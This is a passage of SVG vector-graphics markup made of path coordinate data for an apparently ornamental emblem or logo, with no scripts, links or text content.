5-1.54.53-2.17.24-1.16,1-1.88,1.34-3,1-2,2.15-3.9,3.25-5.88h0c.1,0,.19.19.39.15,2.15-.73,4.88,0,7.32-.1l.33.29h0a34.26,34.26,0,0,1-.43,7c-.81,2.79-4,2.51-6.32,3.13-.57.39-1.67.19-1.67,1.16,2.78.58,6,.24,9,.19.47-.19.57-.63.81-1.06.1-.63.72-1.16.53-1.83-.53-.67-.05-1.74-.2-2.65a1.44,1.44,0,0,0,0-.92c.39-1.39.29-3.08.58-4.43h0c.86.09,1.24,1.11,2.15,1.15.48-.67-.53-1-.77-1.39a5.24,5.24,0,0,1,3.21.48l-.47.53c-.29.53.14.92.57,1.11s.57-.15.82-.24c.61-.44-.06-.87.14-1.26a45.78,45.78,0,0,1,10.19,2.9c.9.28,1.76,1,2.78.91a13,13,0,0,0-3.64-1.93c-.82-.48-2-.53-2.59-1.2.15-.24.48-.15.63-.34a7.12,7.12,0,0,0,4.16-2.7c.09-.29.62-.19.57-.58-.43-.48-1.15.15-1.72.1-2,.39-2.87,2.75-4.88,3.18-2.44-.58-4.93-1.15-7.37-1.78a14.37,14.37,0,0,1-3.59-.78,24.72,24.72,0,0,1,.33-2.64,1.77,1.77,0,0,0,.2-1,2.38,2.38,0,0,1,.47-.48l1-.46a12.07,12.07,0,0,1,3.84,0,10.33,10.33,0,0,0,2.39.53,1.76,1.76,0,0,1,1.2-.24c1.53-.82.52-2.6.62-4h0a30.72,30.72,0,0,0,3.62-3.95.91.91,0,0,0-.52-.91.82.82,0,0,0-1,.19c-.57.44,0,1,0,1.49a8,8,0,0,1-2.2,1.89,1.9,1.9,0,0,0-.41.15l-.12-.3a6.4,6.4,0,0,1-.38-1c-.28-.34-.48-1-.76-1.3-.82-2.12-2.39-3.33-3.74-5-2.44-3.17-6.26-5-10.09-6.21s-7.61.38-11,1.59a2.76,2.76,0,0,1-1.87-2,9.61,9.61,0,0,1,.92-5.12c.14-1.2.95-2.12,1.29-3.22a34.33,34.33,0,0,0,2-8.29c.1-1.78-1.24-3-2.58-3.81a2.63,2.63,0,0,0-2.64.53,7,7,0,0,1-3.1,2.8c-.1.82.91.28,1.24.57,1,.2,2.24-.14,3.11.53.09,1.93-1,3.52-2,5a38.69,38.69,0,0,0-4.36,7.51l0,0v-2.5h0v0H167.13c-1.15-.39-2-1.59-3.31-1.59-2.68-1.06-4.44,1.73-7.17,1.4-.34.19-.24.53-.43.77s-.38,0-.53-.05c-.14-1.15-.53-2.22-.67-3.32-.28-.48-.14-1.16-.38-1.64-1.53-4.19,3.73-1,4.78-3.47.91-2.12-1.77-2.36-2.58-3.85v-.63c-.77-.77-1.58-1-2.06-2a7,7,0,0,0,.14-3.71c0-.29-.23-.67-.67-.53-.9,1.25-1.57,2.27-2.44,3.47A26.61,26.61,0,0,0,149,32.75c-.72-.1-1.39-.82-2.2-.53a.66.66,0,0,0,.14.72,7,7,0,0,0,2.34,4.73l.15.72c-.86,2-.62,4.24-.86,6.36a35.38,35.38,0,0,1-10.38,14.61c-2.73,3.08-6,6.07-6.41,10.31-.15.67.09,1.49-.44,2a16.16,16.16,0,0,1-4.44-2.36c-2.2-1.54-5.36-1.35-6.8-4.14-.57-1.11.15-2.22.67-3,1.62-1.54,1.39-4.29.53-6.17-.19,0-.24.2-.38.24-.15,2.85-2.4,4.82-1.54,8,.2.92.67,1.5.91,2.37a7.1,7.1,0,0,1-1.1-.25,11.92,11.92,0,0,0-3.2-.42c-2.2,1-5.22-.25-7,1.78-.29,0-.67.09-.57.53,1,0,2,.28,3.1.24,1.68.28,2.78-1.12,3.93-1.74h.29c.48-.48,1.29-.19,1.91-.29,3,.34,5.36,1.79,7.85,3.28v.19c-1,.44-2.06.72-3,1.25a6.57,6.57,0,0,0-2.68,3.23c-.76,1.21.24,2.27.72,3.28,0,.48.1,1.06.53,1.25,1.53-1.64.09-3.66.33-5.54.39-1.44,1.73-2.12,3.11-2.5,2.73-1.16,4.7,1.06,6.89,2.31,0,2.22.24,4.34-.24,6.5a5.68,5.68,0,0,1-2.24.34c-3.79.29-6.75,2.36-10.15,3.52-1.53.53-3.35.48-4.88,1.06,1.2.34,2.44-.1,3.69-.14,4.68-.68,8.27-4.29,13.34-3.67l.1.15A11.41,11.41,0,0,1,128.75,84c-.14-.53-.19-1-.67-1.25a.89.89,0,0,0-1.1.38.69.69,0,0,0,0,.73,1.56,1.56,0,0,0,1.06.67c-.1.43-.63.63-.91,1-1.34,2.27-4.07,1.35-5.65,2.94-.24.34-1.1.53-.72,1.06a7.17,7.17,0,0,0,4.93-1.25c1.77-2,3.64-3.86,5.4-5.74A5.73,5.73,0,0,1,130,86.92a5.19,5.19,0,0,0-1.29-.72,1.17,1.17,0,0,0-.86,1,2.83,2.83,0,0,0,.72,1c-1.63,1.15-3.68,1.25-5.55,1.78a95.35,95.35,0,0,1-10.43.77c-1.68-.1-3.59.48-5.17,0-1.82.33-3.78-.24-5.26.77-.2.24,0,.48,0,.72,2.2,1.45,5.22.29,7.71.73H128.8a8.46,8.46,0,0,0,3.88-.73c2.44-1.39,3.77-3.9,5-6.36a10.12,10.12,0,0,0,1-2.89A4.14,4.14,0,0,1,142.29,80a22,22,0,0,1-.81,7.32c-.29,1.55-1.29,3-.67,4.68.14.77,1,.77,1.58.87,5.79-.1,11.58-.34,17.7.09a14.4,14.4,0,0,0,3.25.48c.1-.14.43-.19.29-.48a1.8,1.8,0,0,0-1.15-1.34c-.09-.29-.52-.2-.66-.39-3.07-1.73-6.76-.82-10.34-.77-1.87.19-3.73.53-5.31-.53-.72-.87-.19-3.62-.19-3.62a35.24,35.24,0,0,1,1.5-5.25,34.64,34.64,0,0,1,5.05,2.6,31.92,31.92,0,0,1,4.78,2.56c6.51,3.61,10.82,9.59,13.74,16.24,0,.53.52,1.11.19,1.64-1-1.55-2.44-2.42-3.63-3.67A7.06,7.06,0,0,0,164,95.06c-.72-1-2.25-1.15-3.45-1.49l-17.41-.1c-14.17-.19-27.09.44-41.15.19-2-.19-4.36-.86-4.93-2.93a3.22,3.22,0,0,1,0-2.65,2.92,2.92,0,0,1,2.44-1.31,2.56,2.56,0,0,1,1.63,1.36c0,.62-.53,1.2-.77,1.73,0,.19.24.58.57.43a2.24,2.24,0,0,0,1.25-1.54c0-.34.19-.82-.15-1.06a3.17,3.17,0,0,0-2.24-2,4,4,0,0,0-3.26,1.1c-1.15,1-1.1,2.7-.76,4.05a6.45,6.45,0,0,0,5.16,3.86l46.56.19c4.54.24,9.67-.53,14.26.38A5.5,5.5,0,0,1,165.59,99c0,.09-.19,0-.33,0a20.77,20.77,0,0,0-13.59-2.79c-1.91-.1-3.63.63-5.36,1.11a2.77,2.77,0,0,1-2.35-.77c-1.72-1.54-4.73-1.45-6.93-.87,0,.15-.05.29.05.34,2.34-.19,3.73,1.83,5.84,2.07.47.1.86-.43,1.28,0a43.83,43.83,0,0,1-6.64,3c-.72-.14-1.11-.82-1.68-1.21-.91-1-2.58-.57-3.83-.67-.43.1-.81-.19-1.1,0a4.15,4.15,0,0,0,2.06,1.59c1.2.53,2.58,0,3.68.68a4.73,4.73,0,0,1-1,.67c-2.25.87-4.12,2.89-6.6,2.75a8.52,8.52,0,0,1-7.08-2.32,4.81,4.81,0,0,0-4.84-2.79c-.14.09-.33.09-.29.34,1.06.62,1.87,1.87,2.92,2.6.67.82,2,0,2.59.91A8.62,8.62,0,0,0,125.5,105a14.79,14.79,0,0,0,2.48.67l-.33.19c-4.35,1.45-9.38,1.59-14.26,1.4-1.44,0-2.82-.49-4.26-.44a2.63,2.63,0,0,0,1.15.68,2.78,2.78,0,0,1-1.29.38,9,9,0,0,0-1.82.49,4.72,4.72,0,0,0-2,.48,10.18,10.18,0,0,1-2.73,2.22c0,.19,0,.48.19.48.91-.39,2.06-.1,3-.48,1.57-.15,2.48-1.89,3.73-2.61,1.34-1.06,3.25-.82,4.88-.58,1,.25-.1.63.19,1.25.38.35.72.73,1.25.58a.73.73,0,0,1,.33-.23,1.09,1.09,0,0,0,0-1.21c.67-.43,1.59,0,2.3-.24,1.82,0,3.64-.44,5.41-.48.28,0,.62-.34.91,0-.14.38-.63.44-.43,1s.57.63,1,.72c.48-.19.91-.53.72-1.15-.1-.34-.47-.39-.72-.53,1-.48,2.16-.63,3.16-1.11a10,10,0,0,0,2-.67c.61,0,1.14-.63,1.71-.39a9.5,9.5,0,0,1-1,2.31c-.76,2.56-1.34,5.93,0,8.39.15,0,.19,0,.29-.1-1-2.55-.43-5.49.43-7.9.67-4.09,4.88-5.3,7.89-6.84l.15.19c-.82,2.12-2,4.14-1.82,6.7.09.43-.19.86,0,1.15a5,5,0,0,0,1.77-2.21c.33-2.17-.91-4.87,1.29-6.46,3.92-1.54,7.61-3.57,12.15-3.61.15.14.48-.1.53.18-1,1.07-2.34,2.08-2.77,3.38-1.53,2.12-1.49,5.73-.82,8.34.43,1.49-.86,2.31-1.48,3.47-.3.41-.39,1.11-.66,1.58l.94.11-1.57.36a1.23,1.23,0,0,1-.53,0c-.77-2,1.53-3.18.81-5.1a3.47,3.47,0,0,0-3.3-2,4,4,0,0,0-3.83,2c-1.1,2.41.29,4.91.72,7.27-.1.77.77,1.64,0,2.27a6.51,6.51,0,0,0-5.4-1.11c-.58.29-1.63-.1-1.91.58,2.05,1.1,4.68,1,7,.86.28-.09.47-.14.71,0,.2,1.25-.24,2.94.53,4a4.9,4.9,0,0,0,3.68,1.59c4.41-.14,8.33-1.44,12.35-2.46.62-.05,1.1-.38,1.77-.38a34.49,34.49,0,0,1,6.79-.92,12,12,0,0,0-2,4.34c-.58,1.3,1,1.49,1.48,2.22-1.48.43-2.54,1.44-3.93,2-3.05-.1-5.64,1.06-8.51,1.4,0,.62,1,.43,1.1,1.06-.14.43-.58.48-.91.72,0,.29,0,.34.29.38.29-.33.91-.09,1.19-.43,1,0,1.77-.29,2.68-.34a8.56,8.56,0,0,0,2.44-1c1-.29,1.63-1,2.63-1.25,1.44,0,2.73-.48,4.07-.58v.29c-1.1,1.78-2.24,3.61-3.39,5.3a.53.53,0,0,0,.33.77,2.5,2.5,0,0,0,1.87-.29,57.88,57.88,0,0,0,2.72-5.16c.34-1.64,1.53-2.5,2.73-3.61.19-.1.48-.39.67-.1a21.17,21.17,0,0,0-2.29,3.38c-.39,1.35-.49,3.08.71,4.19.57.48,1.44.34,2.2.39,1.87-1,4.26.57,5.7-1.26.86-.14,1,.87,1.48,1.35.81.24,1.67,1.06,2.49.48-.05-.53-.63-1-.91-1.49-.58-1-1.29-1.83-1.82-2.75a9.49,9.49,0,0,1-.77-1.78,14.66,14.66,0,0,0,2.59,1,16.74,16.74,0,0,1,2.59.77,8.88,8.88,0,0,0,2.39,1.84c1.19.57,2.53.67,3.77,1.15.49,0,1.2.44,1.54,0a2.14,2.14,0,0,0-.72-.53c-.15-.62.86-.29,1.19-.77a.67.67,0,0,0-.55-.37c-.69-.36-2.39-.49-2.85-.74a9.78,9.78,0,0,1-1.67-.53c-2.87,0-4.45-2.6-6.74-3.56.52-.49,1.33-.88,1.67-1.59a2.7,2.7,0,0,0,.14-2.56c-.43-1.49-2.34-1.3-3.44-2.12l.14-.15a20.11,20.11,0,0,1,5.17.68c4.59.62,8.85,2.36,13.64,2.46,2.63,0,5.93.14,7.22-2.41.24-1.5.53-3,.77-4.48.57-2.41,2.15-4.63,1.91-7.28a5,5,0,0,0-3.25-3,4.14,4.14,0,0,0-4.16,1c-1.73,1.4-.53,3.71-.48,5.59,0,.39.05.68-.34.87-6.93-.63-13.39-2.36-20.29-3.08-1.58-.28-3.17-.21-4.68-.52l-1.92-.21c-6,.2-12,.53-17.56,2-1.19.38-2.54.48-3.73.91-.86-.14-1.58.48-2.39.25a5.13,5.13,0,0,0,1.62-3.19,1.34,1.34,0,0,0,.91,1c.34-.53-.28-.92-.33-1.45.76-.43,1.1.53,1.72.73a12.14,12.14,0,0,0,2.92.67l.33-.34c-1-1.64-3.16-1.92-5-2-1-1.59-1-3.57-.86-5.5a8.19,8.19,0,0,1,.95-3A7.36,7.36,0,0,1,152.53,99a6.76,6.76,0,0,1,3-1.63h.15a.21.21,0,0,0,.05.14c-1.29,1-1.44,2.41-2.2,3.67a4,4,0,0,0-.43,4.18c.28.63.14,1.6.81,2a10.65,10.65,0,0,0,1-2.94c-.14-1.59-1.1-3.08-.19-4.63a4,4,0,0,1,2.58-2.12c2.64-.24,4.93,1.11,7.23,2.12.48.34,1.29.63,1.39,1.31a3.91,3.91,0,0,1-6.13,3.18,3.33,3.33,0,0,1-.76-2.94,2,2,0,0,1,2.1-.77c.48.24.91.72,1.53.43a.59.59,0,0,0,.19-.77c-.52-.29-.71-1-1.43-1.11a3.07,3.07,0,0,0-2.63.53,3.38,3.38,0,0,0-1.1,3.37,4.12,4.12,0,0,0,3,3.09,5.56,5.56,0,0,0,5.89-2,6.45,6.45,0,0,0,1.06-2.07,12.54,12.54,0,0,1,4.92,6.36,10.33,10.33,0,0,1,.05,2.41l1.67.15a1.61,1.61,0,0,1,.15-1.16,14.41,14.41,0,0,1,4.93-7.9c.81-.48.61.62.81,1a6.44,6.44,0,0,0,4.16,3.66,5.24,5.24,0,0,0,5.17-1.68c.62-1.16,1.39-2.85.33-4a3.26,3.26,0,0,0-2.62-1.25,3.21,3.21,0,0,0-2.63,1.78c0,.39-.06.82.28,1,.19,0,.58,0,.72-.24.1-.72.71-1.06,1.29-1.45a1.49,1.49,0,0,1,1.53.29,2.57,2.57,0,0,1,.67,1.88,2.93,2.93,0,0,1-1.58,2.27,4.86,4.86,0,0,1-4.59-.44,10.17,10.17,0,0,1-1.34-2.12,3.41,3.41,0,0,1,0-2.21,16.07,16.07,0,0,1,6.84-2.41,4.92,4.92,0,0,1,2.54,1.58c2.2,2.27-.48,5.5,1.05,8,.58-.1.58-.87.81-1.35.72-1.73-.19-3.62-.62-5.3A9.74,9.74,0,0,0,190.33,98a1.31,1.31,0,0,1,.58-.09,12,12,0,0,1,2.92,2.5,13,13,0,0,1,1.86,7.91c-.38,1.44-1.91,2.12-3.11,2.65a4.36,4.36,0,0,0-1.29,1.54c.58.33,1.39,0,2-.24.91-.34,1.44-1.5,2.06-2,.09,0,.05.19.09.29,0,.52-.23,1.25.24,1.39a16.72,16.72,0,0,0,.43-2.46,4.66,4.66,0,0,1,.91,2.41c.43.87,1.15,2,2.3,2.17.29-.43-.05-.87-.14-1.25-.15-1.21-1.15-1.83-1.82-2.7-1.68-2.31-.91-5.93-2.2-8.53A10.3,10.3,0,0,0,192.54,98l.19-.19c2.34,0,4.3.72,6.46,1.16,2.63,1.3,6.46,1,7.7,4.43a12.65,12.65,0,0,0,2.73,5.2l.14-.09a2,2,0,0,0,0-1.79c-.29-2.4-2.39-3-3.5-5l.15-.2a33.53,33.53,0,0,1,3.49,1.11c3.83,1.06,6.5,4.82,7,8.72a18.93,18.93,0,0,1-1.77,8.24c-.15.39-.82.82-.39,1.16.53-.39.63-1,.91-1.45a13.37,13.37,0,0,0,1.59-9.68c-.06-.63-.77-1.11-.44-1.73a1.56,1.56,0,0,0,.82.43c.29-.2.72-.2.91-.53s.24-.63,0-.87a1.3,1.3,0,0,0-1.39-.34,2.36,2.36,0,0,0-.58,1.06,9.78,9.78,0,0,0-1.72-2.55l.1-.14c2.15.72,4.11,1.77,6.32,2.36a3.18,3.18,0,0,0,1.67.52,46.46,46.46,0,0,0,5.88,1.5c1.44-.15,2.64.53,4.07.19ZM156,132.07l-.67-.62c.33-.43,1-.19,1.58-.48a8.22,8.22,0,0,1,4.06-.58c-1.44,1.16-3.3,1.3-5,1.68Zm29.87-.76a21.25,21.25,0,0,0,5.1,1.2c-.15.66-1.31,0-1.18,1-1.48-.57-3.21-.86-4.31-2,.1,0,.2-.19.39-.14ZM141,110.82a3.45,3.45,0,0,1,1.15-2.41,4,4,0,0,1,3.78.15,1.8,1.8,0,0,1,.77.91,2.17,2.17,0,0,1-.72,2.17h-.48a5.45,5.45,0,0,1,.28-2.17c0-.58-.52-.62-.9-.87a2.84,2.84,0,0,0-2.16.49,2.16,2.16,0,0,0-.62,2.12c.33.53.05,1.25.24,1.83l-.14.19a3,3,0,0,1-1.2-2.41Zm2.25,1.38c.72.53,1.72.29,2.58.44a1.75,1.75,0,0,1-.24,1.63c-.81-.19-1.86-.1-2.3-.87.1-.33-.13-.81,0-1.2Zm-.14-1.62c.14-.38,0-1,.52-1.06.34-.09.86-.09.91.29a9.18,9.18,0,0,1-.24,1.69,1.09,1.09,0,0,1-1.19-.92Zm22.44,15.47a5.21,5.21,0,0,1,1.53-4.34,2.77,2.77,0,0,1,2.06.1c-1.25.34-2.83.62-3.11,2.22.05.62-.15,1,.14,1.49.52.92,1.72.53,2.39,1.25a.62.62,0,0,1-.43.58,18.89,18.89,0,0,1-2.58-1.3Zm-1.72,3.33c1.15-.49,2.34-1.5,3.63-1.06a6.61,6.61,0,0,1-3.63,1.06Zm4.54.48a35.4,35.4,0,0,1-2.34,4.53c-.1.24-.48.29-.77.34,0-.68.67-1.21,1-1.79,1-1.3,1.3-2.69,2.44-3.95.29.29-.28.48-.28.87Zm1.2-2.8v.19h-.1V127h.19a.33.33,0,0,0-.19,0Zm-.43-1.3a11.55,11.55,0,0,1-2.3-.57c-.48-.49,0-1,0-1.55.67-1.06,2.58-1.59,3.49-.62a5.09,5.09,0,0,1-1.19,2.74Zm1.05,0a8.13,8.13,0,0,1,.76-2,4,4,0,0,1-.76,2Zm.52-3.9c-.62-.15-1-.87-1.62-.87a3.91,3.91,0,0,1,1.81,0c.24.34-.13.63-.19.92Zm.58,1.45h0v-.53h0v.53Zm.05,2.21c-.05-.19.09-.43.14-.67.24-.24.48.19.58.34a.73.73,0,0,1-.72.33Zm.72-3a5.19,5.19,0,0,1,.71-1.78,2.83,2.83,0,0,1,1.29.19c.1,1,1.3,2.27,0,3.09-.43.19-1.05.62-1.53.19a1.33,1.33,0,0,1-.47-1.69Zm3.49-1.35c-.11-.43.42-.09.62-.28l1.48.09c-.77-.09-1.72,1.69-2.1.19Zm2.39.63c-.58.19-1,.87-1.58,1a1.94,1.94,0,0,1,1.58-1Zm-2,3v.14h-.05v-.14Zm.09,2.94c-.05.09,0,.24-.09.34l-1.1-.87a1.13,1.13,0,0,1,1.19.53Zm-1.29-1.49a.35.35,0,0,1,.43,0Zm-.67-.73c.2-.29.43-.72.77-.72a.2.2,0,0,0,.09.14,2.3,2.3,0,0,1-.86.58Zm-1.1-.1h-.19l.29-.28c.14.09-.05.19-.1.28Zm.14,1.83c.63-.67,1.2.39,1.44.92.72,1.06,2.59,2,1.87,3.47-.92.82-2.35.05-3.35.68-.53,0-1.43.09-1.72-.44a28.42,28.42,0,0,1,1.76-4.63Zm-1.33.92.24-.38a20.66,20.66,0,0,1-1.58,3.47c-.29-1.16.91-2.08,1.34-3.09Zm2.1,5.74c-.91.05-2.3.58-3.16-.2.06-.38-.38-.58-.33-1,.76-.29,1.43.63,2.15-.05a19.75,19.75,0,0,1,3.35.1c.53.14,1.34-.87,1.44.14-.39,1.59-2.3.48-3.45,1Zm2.78-6.94v-.15h.09V127Zm.28,3c0,.48.53.68.24,1.11a1.48,1.48,0,0,1-.24-1.11Zm1.34,2.9L178,133c-.23-.19-.14-.72-.09-1,.28.24.53.58.33.92Zm2.39,1.15c0,.15-.28.15-.37,0a25.52,25.52,0,0,1-3-5.78l.19,0c1.15,1.88,2.06,3.95,3.2,5.78Zm1.78-4.43a.19.19,0,0,0-.1.19c-1.39.05-2.3-.77-3.35-1.49l-.05-.24a8.89,8.89,0,0,1,3.5,1.54Zm-1.25-6.41c.57.14.62.77.67,1.25a2.85,2.85,0,0,1-3.49,2.56,3.07,3.07,0,0,0,2.87-1.64l-.05-2.17Zm-1.05-.19a3.21,3.21,0,0,1,.43,2.12c-.48.91-1.44.91-2.3,1.11a1.51,1.51,0,0,1-1.1-.35.48.48,0,0,0-.19-.48c.15-.62-1.1-1.25-.24-1.78.76-.72,2.59-2.36,3.4-.62Zm21.58-15a3.34,3.34,0,0,1,2.78.1,2.15,2.15,0,0,1,1.58,1c.71.67.52,1.87.38,2.74a2.75,2.75,0,0,1-2.06,1.64c0-1.16,1.1-2,.72-3.28a2.89,2.89,0,0,0-3-1c-.43.29-.24.77-.38,1.21l-.19,1.58c-1,0-1-.86-1.3-1.54a2.83,2.83,0,0,1,1.49-2.51Zm.87,4.34c.52-.53-.15-3.56,1.33-1.59,0,.39.05,1-.33,1.26s-.62.57-1,.33Zm.52,1.21c0,.77-.67.57-1.05.87h-1.15a2.63,2.63,0,0,1-.15-1.35,9.35,9.35,0,0,1,2.35.48Zm-48,.14a81.5,81.5,0,0,1,11.05-1.68c4.31,0,8.71-.29,12.83.43,1.34,0,2.49.38,3.78.48,2.68.34,5.17,1.07,7.89,1.25a13.1,13.1,0,0,0,1.44.25c4.31.67,9.14,1.87,13.25,0,0,1.73-.71,3.32-1,5-.39.48,0,1.25-.53,1.68,0,.87-.72,1.3-1.33,1.64-5.7,1.25-11.3-.67-16.8-1.64-7.71-1.68-16.7-2.16-24.55-.38-3.68.67-7.27,1.54-10.81,2.55-2.21.29-4.6.63-6.7,0-1.72-.83-1-3-1.53-4.58a25.89,25.89,0,0,0-.39-3.33,2.85,2.85,0,0,1-.19-1.25,20.63,20.63,0,0,1,2.2.82c4,.77,7.61-.53,11.34-1.21Zm51.68-34.21c0-.1-.19-.15-.14-.29,1.72-.44,3.2-1.45,4.93-1.88h0l.19.57-.1,1.6Zm0-4a5.87,5.87,0,0,0,.86-1.3c.05-.48-.19-.67-.48-1,.34-.34.87-.24,1.3-.34a5.41,5.41,0,0,1,2.67,3.19,33,33,0,0,1-5.83,2.16h0a17.8,17.8,0,0,1,1.48-2.7Zm-17-11.4c1.53,2.54,3.44,5.44,6.28,6.39,1.53,1.25,3.45,2.75,5.5,1.64,1.1-.34,1.2,1.21,1.73,1.83.57,1.79-.73,3-.82,4.68l-.07.15a1.91,1.91,0,0,1-1.12,1,11.28,11.28,0,0,1-2.2.63c-6.23,2.41-12.68,5-17.61,9.88a5.65,5.65,0,0,0,.47-2,4,4,0,0,0-.52-2.11,3.19,3.19,0,0,1-.36-1.27l6-3.81c1.52-.7,2.62-3,2.62-5.57l0-15.73.08,4.37Zm-1,11.7a5.79,5.79,0,0,1-2.17,4.45l-12.57,8h-.07a1.54,1.54,0,0,1-1,.34,1.56,1.56,0,0,1-1-.36l-12.55-8a5.75,5.75,0,0,1-2.16-4.45V69.46a.24.24,0,0,0,.38,0c1.25-.83.86-2.66.86-3.91.29-1.5-.76-2.21-1.19-3.52a.12.12,0,0,1-.05,0V51h5.21a4.22,4.22,0,0,0,1.15.5l.36-.5h24.75V75.89ZM154.59,57.57a3.93,3.93,0,0,1,1.63-2.75.55.55,0,0,1,.24.34h0v5.25c-.46-.93-2.36-1.64-1.88-2.84Zm9.18,31.86a90.86,90.86,0,0,0-15.88-9.61c.5-1.43.93-2.6,1.05-2.83a8.28,8.28,0,0,0,.29-2.22,9.34,9.34,0,0,0,.29-3.27A22.61,22.61,0,0,1,151,67c.29-.73.53-1.5.81-2.22a7.45,7.45,0,0,1,1-2.51c1.48.94,2.92,1,3.7,2.48l0,10.78c0,2.6,1.1,4.87,2.62,5.57l5.19,3.3c.07,1.66-1,3.14-.53,4.91v.1Zm7.37,10.06A34.79,34.79,0,0,0,165,90.68c-.1-.44-.53-.82-.29-1.3a3.52,3.52,0,0,0,.62-3.66c-.09-.25-.37-.54-.33-.78l-.4-.32,7.32,4.64a1.54,1.54,0,0,0,2.2.13l2.48-1.57c-1.81,2.69,1.13,6.62-1.17,9.17v.19c-.67.87-1,1.74-1.91,2.31-1.15-.48-1.58-1.78-2.25-2.74-1.06-1-1.06-3.09-.44-4.48.44-1.4-.28-2.6-.42-3.86l-.48-.28a5.54,5.54,0,0,0-.67,5.63c.48.87.53,2.08,1.24,2.8a15.6,15.6,0,0,0,2.06,3.57c.19.48-.29.57-.53.81-.52-.33-.43-1.11-.91-1.45Zm3.21,5.4c-.19.58-.58,1.06-.52,1.69l-.2.1c.14-.73-.57-1.16-.38-1.93-.38-.58-.38-1.3-.72-1.93s.38-1.1.72-1.63c.67.28.91.91,1.38,1.49.29.82-.33,1.44-.28,2.21Zm-.29-4.62a16.06,16.06,0,0,0,3.4-7c.34-.24.1-.86.43-1.16-.09-.76.43-1.53.05-2.16.3-1.06-1.4-2-.31-2.7l-.22.1,3.05-1.93a6.65,6.65,0,0,0-.37,4.05c.15.86.86,1.88.2,2.64-2.3,2.8-3.6,6.17-5.13,9.36-.57-.1-.86-.63-1.1-1.16Z" transform="translate(-23 -22)"/><path class="cls-1" d="M226.27,101.86a7.3,7.3,0,0,0-6.94,2.26c-.1.1-.05.25.09.34a1.3,1.3,0,0,0,.63-.14c2.39-.1,4.74-.53,6.41-2,.09-.24-.19-.29-.19-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M217.79,103.93c.54-.24,1-.63.78-1.3a.91.91,0,0,0-1.49-.29c-.15.24-.48.44-.34.82a1.38,1.38,0,0,0,1,.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.88,103.26c.09.29.29.67.62.72a.94.94,0,0,0,.86-.25,1,1,0,0,0,.24-1c-.28-.44-.71-.39-1.1-.39a1,1,0,0,0-.62.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119,106.19v-.33c-1.82-1.3-3.25-3.23-5.65-3.23-.28.1,0,.29,0,.43a6.49,6.49,0,0,1,2.54,2.42,3.71,3.71,0,0,0,3.11.71Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,102.63a8.86,8.86,0,0,0-4.26,4.58c.29.33.58-.15.91-.15,2-.72,2.92-2.74,4-4.38a1.53,1.53,0,0,0-.67-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.9,103.64c.24.29.43.58.81.53.34-.29.72-.38.67-.91a1,1,0,0,0-1-.53c-.23.24-.67.43-.47.91Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.57,103.55l-.24-.29c-1.53.62-2.49,2.26-3.16,3.71-.24.43-.81.91-.57,1.39,1.53-.24,2.34-1.49,3.3-2.6.43-.67.24-1.59.67-2.21Z" transform="translate(-23 -22)"/><path class="cls-1" d="M102.72,104.08a.9.9,0,0,0,.38,1.15,1.11,1.11,0,0,0,1.1-.19.93.93,0,0,0,0-1.06c-.33-.58-1.19-.34-1.48.1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M100.33,104.17a.94.94,0,0,0-.48,1,1,1,0,0,0,1.1.63,1.1,1.1,0,0,0,.67-.58c0-.24-.09-.44-.14-.67a1,1,0,0,0-1.15-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M105.3,105.42c.39.39.78.88,1.45.58.57-.09.47-.77.37-1.15a1.32,1.32,0,0,0-1.24-.39,1.11,1.11,0,0,0-.58,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.07,105.09a1.87,1.87,0,0,0-.68.53c-.29.33.24.57.34.86.24,0,.67.15.91-.09s.28-.58.33-.92c-.19-.38-.62-.23-.9-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.34,106.05a1.28,1.28,0,0,0,1.11.53c.38,0,.57-.43.71-.77-.09-.53-.71-.72-1.19-.72s-.81.43-.63,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,106.05a1.05,1.05,0,0,0-2.06.1,1.15,1.15,0,0,0,1.48.72c.2-.15.63-.43.58-.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M240,105.57c-.29.29-.63.62-.2,1a1.12,1.12,0,0,0,1.15.2,1,1,0,0,0,.43-.82c-.14-.58-1-.63-1.38-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M101.81,106.3a.89.89,0,0,0-.47,1,1.09,1.09,0,0,0,1,.68,1,1,0,0,0,.57-1.21,1.09,1.09,0,0,0-1.15-.47Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.34,108.56a1.06,1.06,0,0,0,.67-1.26.93.93,0,0,0-1.62-.09c-.38.24-.14.77.05,1a1,1,0,0,0,.9.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M127.7,107.21c-.29.1-.38.29-.63.48-.13.43.15.72.39,1s.53.15.71,0c.16-.29.73-.39.53-.92-.28-.28-.47-.77-1-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M243.3,108.17a1.09,1.09,0,0,0-1.1-.67c-.33.1-.38.34-.67.53,0,.43,0,.82.43,1.06a1.27,1.27,0,0,0,1.1-.2c.05-.24.34-.38.24-.72Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.06,112.46v-.38a12.81,12.81,0,0,0-3-2.56c0-.29.34-.14.53-.19.38-.14.91-.44.71-1a1.61,1.61,0,0,0-.71-.68c-.39-.1-.57.19-.86.25-.82.57.52,1-.1,1.73-.86,0-2-.19-2.63.43.38.34,1,.34,1.29.58a6.45,6.45,0,0,0,4.74,1.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219,108.22c-.14.48.24.77.49,1.11a1,1,0,0,0,1.05-.2c0-.23.33-.52.24-.77a1,1,0,0,0-1.78-.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.77,110.05c0-.72-.9-1-1.43-.58,0,.25-.29.44-.24.78a1,1,0,0,0,.87.57c.47,0,.66-.33.8-.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.68,112.94c-.19.43-1,1-.81,1.4a4.92,4.92,0,0,0,3.83-3.18c.23-.67,1-1.06,1-1.73h-.29c-1.38,1-2.92,1.87-3.68,3.51Z" transform="translate(-23 -22)"/><path class="cls-1" 